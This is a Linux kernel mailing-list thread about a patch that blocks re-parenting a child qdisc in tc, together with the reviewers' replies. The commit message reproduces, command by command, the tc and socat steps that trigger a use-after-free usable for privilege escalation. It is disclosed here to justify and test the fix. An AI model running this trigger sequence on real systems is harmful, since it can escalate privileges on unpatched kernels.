[PATCH net 1/1 v2] net: sched: Disallow replacing of child qdisc from one parent to another

[PATCH net 1/1 v2] net: sched: Disallow replacing of child qdisc from one parent to another

[Jamal Hadi Salim]

Lion Ackermann was able to create a UAF which can be abused for privilege
escalation with the following script

Step 1. create root qdisc
tc qdisc add dev lo root handle 1:0 drr

step2. a class for packet aggregation do demonstrate uaf
tc class add dev lo classid 1:1 drr

step3. a class for nesting
tc class add dev lo classid 1:2 drr

step4. a class to graft qdisc to
tc class add dev lo classid 1:3 drr

step5.
tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024

step6.
tc qdisc add dev lo parent 1:2 handle 3:0 drr

step7.
tc class add dev lo classid 3:1 drr

step 8.
tc qdisc add dev lo parent 3:1 handle 4:0 pfifo

step 9. Display the class/qdisc layout

tc class ls dev lo
 class drr 1:1 root leaf 2: quantum 64Kb
 class drr 1:2 root leaf 3: quantum 64Kb
 class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls
 qdisc drr 1: dev lo root refcnt 2
 qdisc plug 2: dev lo parent 1:1
 qdisc pfifo 4: dev lo parent 3:1 limit 1000p
 qdisc drr 3: dev lo parent 1:2

step10. trigger the bug <=== prevented by this patch
tc qdisc replace dev lo parent 1:3 handle 4:0

step 11. Redisplay again the qdiscs/classes

tc class ls dev lo
 class drr 1:1 root leaf 2: quantum 64Kb
 class drr 1:2 root leaf 3: quantum 64Kb
 class drr 1:3 root leaf 4: quantum 64Kb
 class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls
 qdisc drr 1: dev lo root refcnt 2
 qdisc plug 2: dev lo parent 1:1
 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p
 qdisc drr 3: dev lo parent 1:2

Observe that a) parent for 4:0 does not change despite the replace request.
There can only be one parent.  b) refcount has gone up by two for 4:0 and
c) both class 1:3 and 3:1 are pointing to it.

Step 12.  send one packet to plug
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
step13.  send one packet to the grafted fifo
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))

step14. lets trigger the uaf
tc class delete dev lo classid 1:3
tc class delete dev lo classid 1:1

The semantics of "replace" is for a del/add _on the same node_ and not
a delete from one node(3:1) and add to another node (1:3) as in step10.
While we could "fix" with a more complex approach there could be
consequences to expectations so the patch takes the preventive approach of
"disallow such config".

Joint work with Lion Ackermann <nnamrec@gmail.com>

Signed-off-by: Jamal Hadi Salim <jhs@mojatatu.com>
---
 net/sched/sch_api.c | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/net/sched/sch_api.c b/net/sched/sch_api.c
index 300430b8c4d2..79e0b5c919a9 100644
--- a/net/sched/sch_api.c
+++ b/net/sched/sch_api.c
@@ -1612,7 +1612,7 @@ static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n,
 	struct nlattr *tca[TCA_MAX + 1];
 	struct net_device *dev;
 	u32 clid;
-	struct Qdisc *q, *p;
+	struct Qdisc *leaf_q, *q, *p;
 	int err;
 
 replay:
@@ -1624,7 +1624,7 @@ static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n,
 
 	tcm = nlmsg_data(n);
 	clid = tcm->tcm_parent;
-	q = p = NULL;
+	leaf_q = q = p = NULL;
 
 	dev = __dev_get_by_index(net, tcm->tcm_ifindex);
 	if (!dev)
@@ -1640,6 +1640,7 @@ static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n,
 					return -ENOENT;
 				}
 				q = qdisc_leaf(p, clid);
+				leaf_q = q;
 			} else if (dev_ingress_queue_create(dev)) {
 				q = rtnl_dereference(dev_ingress_queue(dev)->qdisc_sleeping);
 			}
@@ -1673,6 +1674,11 @@ static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n,
 					NL_SET_ERR_MSG(extack, "Invalid qdisc name");
 					return -EINVAL;
 				}
+				if (leaf_q && leaf_q->parent != q->parent) {
+					NL_SET_ERR_MSG(extack, "Invalid Parent for operation");
+					return -EINVAL;
+				}
+
 				if (q->flags & TCQ_F_INGRESS) {
 					NL_SET_ERR_MSG(extack,
 						       "Cannot regraft ingress or clsact Qdiscs");
-- 
2.34.1

Re: [PATCH net 1/1 v2] net: sched: Disallow replacing of child qdisc from one parent to another

[Jakub Kicinski]

On Thu,  9 Jan 2025 09:33:19 -0500 Jamal Hadi Salim wrote:
> Lion Ackermann was able to create a UAF which can be abused for privilege
> escalation with the following script

What's the Fixes tag?

Re: [PATCH net 1/1 v2] net: sched: Disallow replacing of child qdisc from one parent to another

[Jakub Kicinski]

On Thu,  9 Jan 2025 09:33:19 -0500 Jamal Hadi Salim wrote:
> Lion Ackermann was able to create a UAF which can be abused for privilege
> escalation with the following script

Also looks like this upsets tc-mq-visibility.sh :(
-- 
pw-bot: cr

Re: [PATCH net 1/1 v2] net: sched: Disallow replacing of child qdisc from one parent to another

[Cong Wang]

On Thu, Jan 09, 2025 at 09:33:19AM -0500, Jamal Hadi Salim wrote:
> Lion Ackermann was able to create a UAF which can be abused for privilege
> escalation with the following script

It would be nice if this can be integrated with TDC (or other selftest).

Thanks.

Re: [PATCH net 1/1 v2] net: sched: Disallow replacing of child qdisc from one parent to another

[Jamal Hadi Salim]

On Thu, Jan 9, 2025 at 1:29 PM Jakub Kicinski <kuba@kernel.org> wrote:
>
> On Thu,  9 Jan 2025 09:33:19 -0500 Jamal Hadi Salim wrote:
> > Lion Ackermann was able to create a UAF which can be abused for privilege
> > escalation with the following script
>
> Also looks like this upsets tc-mq-visibility.sh :(

Yes, the patch will stop the "graft some" bits. Some first-coffee
context... Looking at the script, I see this:

# One real one
... replace parent 100:4 handle 204: pfifo_fast
Lets dump:
...qdisc pfifo_fast 204: dev xxx parent 100:4 bands 3 priomap 1 2 2 2
1 2 0 0 1 1 1 1 1 1 1 1
Then, this step:
# Graft some
...replace parent 100:1 handle 204:
dump again:
...qdisc pfifo_fast 204: dev xxx parent 100:4 refcnt 2 bands 3 priomap
1 2 2 2 1 2 0 0 1 1 1 1 1 1 1 1

Observe that  1) parent did not change(there can only be one parent
and still pointing to 100:4, not 100:1) and
2) refcount went up

There are two possible intentions/meanings from reading that dump:
a) the pfifo queue with handle 204: is intended to be shared by both
parent 100:1 and 100:4 --> refcount of 2 takes care of that. But then
you can question should the parent have stayed the same or should we
use the new one? We could keep track of both parents but that is
another surgery which seemed unnecessary.
b) We intended "replace" to move the pfifo queue id 204: from 100:4 to
100:1. In which case we would need to do some other surgery which
includes getting things pointed to the new parent only.

While #a may be practical it could be achieved by building the proper
qdisc/class hierarchies. I am not sure of practical use #b. In both
cases it seemed to me prevention is better than the cure.
Question for you for that test: Which of these two were you intending?
 It could be you just wanted to ensure some grafting happened, in
which case we can adjust the test case.

Like 99.99% of bugs being reported on tc, someone found a clever way
to use netlink to put kernel state in an awkward position.  And like
most fixes it just requires more checks against incoming control into
the kernel.

Thoughts?

cheers,
jamal

PS:
Sorry - didnt catch this, i only ran tdc tests which all passed
And the "Fixes" is from the first git entry - i can send an updated version
And to Cong - yes, we'll add a new tdc test case for this..

Re: [PATCH net 1/1 v2] net: sched: Disallow replacing of child qdisc from one parent to another

[Jakub Kicinski]

On Fri, 10 Jan 2025 09:48:02 -0500 Jamal Hadi Salim wrote:
> There are two possible intentions/meanings from reading that dump:
> a) the pfifo queue with handle 204: is intended to be shared by both
> parent 100:1 and 100:4 --> refcount of 2 takes care of that. But then
> you can question should the parent have stayed the same or should we
> use the new one? We could keep track of both parents but that is
> another surgery which seemed unnecessary.
> b) We intended "replace" to move the pfifo queue id 204: from 100:4 to
> 100:1. In which case we would need to do some other surgery which
> includes getting things pointed to the new parent only.
> 
> While #a may be practical it could be achieved by building the proper
> qdisc/class hierarchies. I am not sure of practical use #b. In both
> cases it seemed to me prevention is better than the cure.
> Question for you for that test: Which of these two were you intending?
>  It could be you just wanted to ensure some grafting happened, in
> which case we can adjust the test case.

Yes, adjusting the test sounds good. I was testing visibility after
supported operations. If the operation is no longer supported there's
nothing to test :)

> Like 99.99% of bugs being reported on tc, someone found a clever way
> to use netlink to put kernel state in an awkward position.  And like
> most fixes it just requires more checks against incoming control into
> the kernel.

Re: [PATCH net 1/1 v2] net: sched: Disallow replacing of child qdisc from one parent to another

[Jamal Hadi Salim]

On Fri, Jan 10, 2025 at 9:33 PM Jakub Kicinski <kuba@kernel.org> wrote:
>
[..]
> >  It could be you just wanted to ensure some grafting happened, in
> > which case we can adjust the test case.
>
> Yes, adjusting the test sounds good. I was testing visibility after
> supported operations. If the operation is no longer supported there's
> nothing to test :)
>

Ok, sending V2 with the Fixes tag, test case fix will follow later
today after some testing.

cheers,
jamal